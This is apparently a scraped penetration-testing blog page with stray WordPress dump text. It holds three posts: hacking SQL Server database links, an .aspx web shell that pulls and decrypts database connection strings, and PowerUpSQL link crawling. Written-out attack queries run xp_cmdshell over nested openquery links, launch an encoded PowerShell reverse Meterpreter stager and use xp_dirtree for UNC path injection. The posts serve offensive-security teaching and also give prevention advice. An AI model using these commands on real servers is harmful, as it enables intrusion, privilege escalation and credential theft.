Creating a SQL Server link is pretty trivial. Depending on your preference, it can be done with the “sp_addlinkedserver” stored procedure or SQL Server Management Studio (SSMS). For more information about creating database links visit http://technet.microsoft.com/en-us/library/ms190479.aspx. Typically attackers don’t create links. However, they do view and exploit them. Existing links can be viewed from the “Server Objects->Link Servers” menu in SSMS. Alternatively, they can be listed with the “sp_linkedservers” stored procedure, or by issuing the query “select * from master..sysservers”. Selecting directly from the “sysservers” table is the preferred method as it discloses a little more information about the links. For existing links, there are a few key settings to pay attention to. Obviously the link destination (srvname), type of data source (providername), and whether the link is accessible (dataaccess), are important for exploiting the links. Additionally, outgoing RPC connections (rpcout) need to be enabled on links in order to enable xp_cmdshell on remote linked servers. There are two major configurations that attackers focus on when hacking database links. Those include the data source (providername) and the way that links are configured to authenticate. In this blog I’ll only be focusing on SQL Server data sources for links that connect to other SQL Servers. Each of those SQL Server links can be configured to authenticate in a number of different ways. It is possible to disable the links by not providing any connection credentials, it’s possible to use the current security context, or it’s possible to preset a SQL account and password that will be used for all connections that use the link. Our experience during penetration testing is that after crawling all of the links there is always one or more configured with sysadmin permissions; this allows for privilege escalation from the initial public access to sysadmin access without ever leaving the database layer.

Selecting Data From SQL Server links

Although only sysadmins can create links, any database user can attempt to access them. However, there are two very important things to understand regarding the usage of links:
  1. If a link is enabled (dataaccess set to 1), every user on the database server can use the link regardless of the user’s permissions (public, sysadmin, doesn’t matter)
  2. If the link is configured to use a SQL account, every connection is made with the privileges of that account (privileges on the link destination). In other words, public user on server A can potentially execute SQL queries on server B as sysadmin.
SQL Server links are very easy to use. Openquery()can be used in T-SQL to select data from database links. For example, the following query enumerates the server version on the remote server:
select version from openquery(“linkedserver”, ‘select @@version as version’);
It is also possible to use openquery to execute SQL queries over multiple nested links; this makes link chaining possible and thus allows the exploitation of link trees:
select version from openquery(“link1”,’select version from openquery(“link2”,’’select @@version as version’’)’)
The same way it’s possible to nest as many openquery statements as necessary to access all the linked servers. The only “problem” is that every nested query has to use twice as many single quotes as the outer query; writing queries gets quite cumbersome when you have to use 32 single quotes around every string. The following image shows an example of a typical linked database network. A user with public privilege access to DB1 can follow the database link to DB2 (user level permissions), and from DB2 to DB3 (user level permissions). Now, it’s possible to follow the link from DB3 back to DB1 (user level permissions) or the link to DB4. As this link is configured with elevated privileges, following the link chain from DB1 to DB2 to DB3 to DB4 gives the (originally non-privileged) user sysadmin permissions on DB4 which is located in an “Isolated” network zone. Hacking Db Links Database links can be queried using alternative syntax as well but it doesn’t allow queries over multiple links; also, actual exploitation requires rpcout to be enabled for the links and as rpcout is disabled by default this is somewhat unlikely to work that often. An example of the alternative four part naming syntax is below.
select name FROM [linkedserver].master.sys.databases

Boring... Give Me a Shell Already!

One last think to know for the exploitation of linked servers is that even though Microsoft states “OPENQUERY cannot be used to execute extended stored procedures on a linked server” it is possible. The trick is to return some data, end SQL statement, and then execute the desired stored procedure. Below is a basic example of how to execute xp_cmdshell over a database link using openquery():
select 1 from openquery(“linkedserver”,’select 1;exec master..xp_cmdshell ’’dir c:’’’)
The query doesn’t return the results of xp_cmdshell, but if xp_cmdshell is enabled and the user has the privileges to execute it, it will execute the dir command on the operating system. During penetration tests this approach has allowed us to compromise the underlying operating system and further compromise the targeted IT infrastructure. One easy way to get a shell on the target system is to call PowerShell (if the OS has it installed), inject reverse meterpreter stager into memory, and wait for it to call back home. The general process works as follows:
  1. Create a PowerShell script to execute your Metasploit payload using the techniques from http://www.exploit-monday.com/2011_10_16_archive.html.
  2. Next, Unicode encode the script with the programming language of your choice.
  3. Then, base64 encode the string with the programming language of your choice.
  4. Finally, execute the “powershell –noexit –noprofile –EncodedCommand ” command via xp_cmdshell.
If xp_cmdshell is not enabled on a linked server, it may not be possible to enable it even if the link is configured with sysadmin privileges. Any queries executed via openquery are considered user transactions which don’t allow reconfigure to be run. Enabling xp_cmdshell using sp_configure does not change the server state without reconfigure and thus xp_cmdshell will stay disabled. If rpcout is enabled for all links on the link path, it is possible to enable xp_cmdshell using the following syntax:
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
But like I mentioned before, rpcout is disabled by default so it’s pretty unlikely to work over long link chains.

Exploiting SQL Server Links Externally

While database links can be a way to escalate privileges after getting authenticated access to a database internally, a more serious risk is introduced when linked servers are available externally. SQL injection vulnerabilities are still very common and successful injection attack allows arbitrary SQL query execution on the database server. If the web application ‘s database connection is configured with least privilege (pretty common) it is not trivial to escalate permissions to the internal network where the database server is likely located. However, like mentioned before, any user regardless of their privilege level is allowed to use the preconfigured database links. We have found during penetration tests that links configured with sysadmin privileges typically lead to a complete compromise of the internal network environment. The following image shows an attack path for an external compromise. After identifying a SQL injection on the DMZ web application server, Captain Evil can start following the links from DB1 to DB2 to DB3 to DB4. And after getting sysadmin permissions on DB4, Captain Evil can execute xp_cmdshell to execute Powershell and shoot back a reverse shell. So by compromising the web application it’s possible to gain access to a secure network without any “hacking” within the Intranet. Just by following database links using legitimate (i.e. not blocked by internal ACL etc.) database connections Captain Evil got access to the most critical system (and maybe more). Hacking Db Links

Automating the Whole Thing

Scott Sutherland and I wrote two Metasploit exploits to automate the whole process described in this blog: one for direct database connections (and this one could be used for legitimate link auditing as well) and one for SQL injection using error, union, or time based blind injections. The modules crawl all the database links between SQL Servers, identify sysadmin connections, and if xp_cmdshell is enabled, deploy a chosen Metasploit payload (has be a reverse payload as the attacker won’t know where the vulnerable database server actually is). The direct exploit (mssql_linkcrawler) has been merged into Metasploit and the other one is waiting for approval (currently available at https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_linkcrawler_sqli.rb).

Prevention

If you do not need database links, remove them all. It’s pretty common to see links going from production environment to development environment. This shouldn’t be done in the first place, but even worse is the “who cares about the dev databases, we don’t care if the links have sysadmin privileges” attitude. You should care as escalating an attack in the dev environment will eventually give full access to prod environment too. So keep in mind, all the database links should be configured with the least privilege; restrict access to those databases / tables that are really needed.

References

[post_title] => SQL Server – Link... Link... Link... and Shell: How to Hack Database Links in SQL Server! [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => how-to-hack-database-links-in-sql-server [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:47:59 [post_modified_gmt] => 2021-06-08 21:47:59 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1159 [menu_order] => 418 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [6] => WP_Post Object ( [ID] => 1163 [post_author] => 60 [post_date] => 2013-04-22 07:00:51 [post_date_gmt] => 2013-04-22 07:00:51 [post_content] => File upload vulnerabilities and web shells are not a novelty when talking about web application security. It’s not rare to see a web shell result in a full compromise of the web server. For example, Metasploit can generate uploadable web payloads that can initiate Metasploit shells. It’s also not that rare that the same web server hosts multiple web applications, all with their own back-end database connectivity. I thought it would be nice to know how much data we can gain access to by simply uploading a web shell to a web server if we decided to take a step back and chose not to completely compromise it. This really becomes more practical when you’re testing an application in a QA environment and you want to show the client that access to a random QA application may grant you direct access to databases used by other applications, even critical production databases. To simplify the process I rewrote an existing .aspx web shell and included PowerShell functionality to allow for database connectivity to create a new CmdSql.aspx web shell. Keep in mind that the shell only works on IIS servers that allow .aspx execution, PowerShell has to be available on the web server, and the current PowerShell code only allows connectivity to MSSQL servers. Not perfect, but nice enough for me. It’s worth noting that the CmdSql shell can help in escalating an attack in tightly configured environments. If ingress and egress filtering are properly configured, normal Metasploit bind or reverse shells may not work. And if ingress filtering from the web server limits traffic to database communication, attacking databases may provide the means to escalate the attack into the internal network.

CmdSQL.aspx Script Overiew

The CmdSql.aspx web shell supports three different functions: OS command execution, web.config parsing, and SQL query execution. Below is an overview of the functionality and a basic screen shot. Antti Powershell Os Command Execution X

OS Command Execution

This is really the core definition of a web shell I guess. Apart from the obvious, the command execution can be used to locate the web directories (such as C:inetpub) and thus make locating web.configs faster for the next step. Below is a basic example screen shot. Antti Powershell Web Config Parsing

Web.config Parsing

For the sake of CmdSql.aspx, the main function of web.config is to store the database connection strings. There can be multiple connection strings for an application, and there can be multiple web.configs per server. The connection strings can be either clear text or they can be encrypted. Nevertheless, they are needed for arbitrary SQL query execution. CmdSql.aspx looks for all web.config files in the provided directory and extracts all the connection strings. If the connection string is encrypted, aspnet_regiis is first used to decrypt the configuration file (in a temp folder). Aspnet_regiis is a .NET tool that is typically used to encrypt web.configs; CmdSql attempts to find to newest version of the tools to decrypt the web.config. No key or any other decryption information has to be provided to aspnet_regiis, just the file location. I haven’t done comprehensive testing / research to determine what permissions are needed to run the program, but it seems to always work on my test systems. I decided to use aspnet_regiis even though WebAdminstration snapin could probably be used and it would be “cleaner”; I just wasn’t sure if it’s installed with IIS by default or if it’s otherwise common. Below is a basic example screenshot. Antti Powershell Sql Query Execution

SQL Query Execution

Now that web.configs are successfully parsed (hopefully), and the connection strings are extracted, they can be popped into a text box in the web shell and arbitrary SQL queries can be executed on targeted database server. Below is a basic screen shot example. Antti Powershell The Code

The Code

Feel free to download the CmdSql.aspx web shell and give it a shot. [post_title] => Adding PowerShell to Web Shells to get Database Access [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => adding-powershell-to-web-shells-to-get-database-access [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:48:01 [post_modified_gmt] => 2021-06-08 21:48:01 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1163 [menu_order] => 423 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) ) [post_count] => 7 [current_post] => -1 [in_the_loop] => [post] => WP_Post Object ( [ID] => 6911 [post_author] => 60 [post_date] => 2017-03-14 07:00:56 [post_date_gmt] => 2017-03-14 07:00:56 [post_content] =>

Quite a while ago I wrote a blog regarding SQL Server linked servers (https://blog.netspi.com/how-to-hack-database-links-in-sql-server/) and a few Metasploit modules to exploit misconfigured links. Using the same techniques, I wrote a few functions for Scott Sutherland’s excellent PowerUpSQL toolkit to allow linked server enumeration after initial access to a SQL Server has been obtained.

An overview of linked servers has already been covered in my previous blog so I won’t regurgitate that information here. But in a nutshell, SQL Server allows creation of linked servers that provide access to other databases, sometimes with escalated privileges.

Linked Server Crawling

The new Get-SQLServerLinkCrawl function in PowerUpSQL can be used to crawl all accessible linked server paths and enumerate SQL Server version and the privileges that the links are configured with. To run Get-SQLServerLinkCrawl you will need to provide database instance information for the initial database connection and the credentials used for the connection. By default, it runs using integrated authentication, but alternative domain credentials and SQL Server credentials can be provided as well.

Console Output Example

Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008"

 

Grid Output Example

Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' | Out-GridView

 

The results will include the instance, version information, the link user, the link user’s privileges on the linked server, the link path to the server, and links on each database instance. Linked servers that are not accessible are marked as broken links.
Img A F Eb E

Additionally, Get-SQLServerLinkCrawl allows arbitrary SQL query execution on all the linked servers using -Query parameter but more complex result sets cannot be displayed in a datatable so the results will need to expanded to make them readable. Xp_cmdshell (for command execution) and xp_dirtree (for UNC path injection) can be executed via -Query parameter too; the script will parse those a little to allow execution over openquery on linked servers:

Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query “exec master..xp_cmdshell ‘whoami’”
Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query “exec master..xp_dirtree ‘10.2.3.4test’”

Another way to execute SQL queries on linked servers requires a little PowerShell piping:

Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' | where Instance -ne "Broken Link" |
foreach-object { Get-SQLQuery -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' -Query (get-SQLServerLinkQuery -Path $_.Path -Sql 'select name from master..sysdatabases') }

 

Fancy Linked Server Graphs

Inspired by BloodHound, I figured it would be nice to create graphs to make it visually easier to understand the linked server crawl paths. To try graphing, install Neo4j and get it running. After that’s working, Get-SQLServerLinkCrawl results have to be exported to an XML file with Export-Clixml:

Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' | export-clixml c:templinks.xml

 

The exported XML file will then be parsed into a node file and link file so they can be imported into neo4j database. The following script will create the import files and it does provide the required Cypher statements to create the graph. Obviously, all the file paths are hardcoded in PowerShell so those will have to be replaced if you run the script. And the last (optional) Cypher statements create a start node to indicate where the crawl started; the ServerId should be manually updated to point to the first SQL Server that was accessed.

$List = Import-CliXml 'C:templinks.xml'
$Servers = $List | select name,version,path,user,sysadmin -unique | where name -ne 'broken link'
$Outnodes = @()
$Outpaths = @()
foreach($Server in $Servers){
    $Outnodes += "$([string][math]::abs($Server.Name.GetHashCode())),$($Server.Name),$($Server.Version)"
    if($Server.Path.Count -ne 1){
        $Parentlink = $Server.Path[-2]
        foreach($a in $Servers){
            if(($a.Path[-1] -eq $Parentlink) -or ($a.Path -eq $Parentlink)){
                [string]$Parentname = $a.Name
                break
            }
        }
        $Outpaths += "$([math]::abs($Parentname.GetHashCode())),$([math]::abs($Server.Name.GetHashCode())),$($Server.User),$($Server.Sysadmin)"
    }
}

$Outnodes | select -unique | out-file C:pathtoneo4jNeo4jdefault.graphdbImportnodes.txt
$Outpaths | select -unique | out-file C: pathtoneo4j default.graphdbImportlinks.txt

<#
 [OPTIONAL] Cypher to clear the neo4j database:
 MATCH (n)
 OPTIONAL MATCH (n)-[r]-()
 DELETE n,r
 --
 Cypher statement to create a neo4j graph - load nodes
 LOAD CSV FROM "file:///nodes.txt" AS row
 CREATE (:Server {ServerId: toInt(row[0]), Name:row[1], Version:row[2]});
 ---
 Cypher statement to create a neo4j graph - load links
 USING PERIODIC COMMIT
 LOAD CSV FROM "file:///links.txt" AS row
 MATCH (p1:Server {ServerId: toInt(row[0])}), (p2:Server {ServerId: toInt(row[1])})
 CREATE (p1)-[:LINK {User: row[2], Sysadmin: row[3]}]->(p2);
 ---
 [OPTIONAL] Cypher statement to create a start node which indicates where the crawl started. This is not automated; first node id must be filled in manually (i.e. replace 12345678 with the first node's id).
 CREATE (:Start {Id: 1})

 [OPTIONAL] Link start node to the first server
 MATCH (p1:Start {Id: 1}), (p2:Server {ServerId: 12345678})
 CREATE (p1)-[:START]->(p2);
#>

 

If everything works nicely, you can view a link network graph (using Neo4j Browser here):
Img A F Bbeda

Conclusion

Linked servers are pretty common in the environments we test and sometimes linked server networks contain hundreds of database servers. The goal of Get-SQLServerLinkCrawl it to provide an easy and automated way to help understand the extent of those networks. If you’ll try the function and run into any problems, please let us know on GitHub.

References:

[post_title] => SQL Server Link Crawling with PowerUpSQL [post_excerpt] => Quite a while ago I wrote a blog regarding SQL Server linked servers and a few Metasploit modules to exploit misconfigured links. Using the same techniques, I wrote a few functions for Scott Sutherland’s excellent PowerUpSQL toolkit to allow linked server enumeration after initial access to a SQL Server has been obtained. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => sql-server-link-crawling-powerupsql [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:47:49 [post_modified_gmt] => 2021-06-08 21:47:49 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6911 [menu_order] => 305 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [comment_count] => 0 [current_comment] => -1 [found_posts] => 7 [max_num_pages] => 0 [max_num_comment_pages] => 0 [is_single] => [is_preview] => [is_page] => [is_archive] => [is_date] => [is_year] => [is_month] => [is_day] => [is_time] => [is_author] => [is_category] => [is_tag] => [is_tax] => [is_search] => [is_feed] => [is_comment_feed] => [is_trackback] => [is_home] => 1 [is_privacy_policy] => [is_404] => [is_embed] => [is_paged] => [is_admin] => [is_attachment] => [is_singular] => [is_robots] => [is_favicon] => [is_posts_page] => [is_post_type_archive] => [query_vars_hash:WP_Query:private] => 990ba74d235b56f006bb55489b60724a [query_vars_changed:WP_Query:private] => [thumbnails_cached] => [stopwords:WP_Query:private] => [compat_fields:WP_Query:private] => Array ( [0] => query_vars_hash [1] => query_vars_changed ) [compat_methods:WP_Query:private] => Array ( [0] => init_query_flags [1] => parse_tax_query ) )

NetSPI's Karl Fosaaen discovered and disclosed a critical misconfiguration in Microsoft Azure.
Learn more about CVE-2021-42306: CredManifest, its impact, and remediation.

X